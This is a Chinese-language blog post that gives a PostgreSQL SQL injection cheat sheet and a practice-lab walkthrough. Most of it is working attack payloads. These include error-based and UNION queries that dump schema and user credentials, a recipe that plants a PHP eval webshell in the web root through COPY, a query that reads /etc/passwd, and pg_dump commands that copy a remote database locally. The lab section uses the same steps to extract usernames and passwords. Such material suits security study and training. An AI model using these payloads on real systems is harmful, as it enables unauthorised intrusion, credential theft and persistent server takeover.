0x15.postgresql注入

发布时间 2024-01-01 04:24:25作者: TrasoOn3r
  • 常用于外国站点

  • 管理员权限:postgres,在linux中,比mysql的root权限更高,能写入文件


常用语法

#1.报错:
#判断是否为postgresql数据库
+and+1::int=1--
#判断数据库版本信息
+and+1=cast(version() as int)--
#判断当前用户
and 1=cast(user||123 as int)
#2.union:
#判断数据库版本信息
union select null,version(),null--
#判断用户权限
union+select+null,current_schema(),null
#判断当前数据库名称
union+select+null,current_database(),null
#判断当前表名
union+select+null,relname,null from pg_stat_user_tables
#读取每个表的列名
union+select+null,column_name,null+from+information_schema.columns+where+table_name='表名'
#列字段内容
+union+select+null,usename||chr(38)||passwd,null+from+表名
###表名,列名,字段内容,都可以通过limit 1 offset 0遍历。如:爆第二个,limit 1 offset 1
#3.webshell(postgres权限)
#法一
http://127.0.0.1/sql.php?id=1;create table ccc(w text not null);
#第二步会爆出根目录
http://127.0.0.1/sql.php?id=1;insert into ccc values($$<?php @eval($_POST[aaa]);?>$$);
http://127.0.0.1/sql.php?id=1;copy ccc(w) to $$/home/xxx/aaa/script/shell.php$$;  

#法二
;copy (select '$$<?php @eval($_POST[cracer]);?>$$') to 'c:/inetpub/wwwroot/mysql-sql/ddd.php'
#4.读取文件前20行
pg_read_file('/etc/passwd',1,20)
#5.数据库备份还原
#备份数据库
pg_dump -O -h 192.162.0.5 -U postgres mdb >c:\mdb.sql”
pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 SS >SS.sql #这个是远程备份数据库备份到本地来
#还原数据库
psql -h localhost -U postgres -d mdb 

靶场

环境:墨者靶场

  • 注入点在通告处

  • 使用/和-0,判断处这是数字型注入

  • 通过order by判断有4列

  • 使用union注入,null填充,逐个填充数字判断

  • 判断当前用户权限,?id=-1 union select 1,'2',current_schema(),'4'

  • 判断当前数据库名称,current_database()

  • 判断第一个表名,id=-1 union select 1,'2',relname,'4' from pg_stat_user_tables limit 1 offset 0

判断第二个表名,id=-1 union select 1,'2',relname,'4' from pg_stat_user_tables limit 1 offset 1

使用offset 2后发现为空,说明只有这两张表,先读取reg_users表

  • 读取每个表的列名,id=-1 union select 1,'2',column_name,'4' from information_schema.columns where table_name='reg_users' limit 1 offset 2

并且紧接着offset 3,爆出了password

  • 列name、password字段内容,id=-1 union select 1,'2',name||chr(38)||password,'4' from reg_users limit 1 offset 0

offset 1还有一个mozhe2,但是被禁用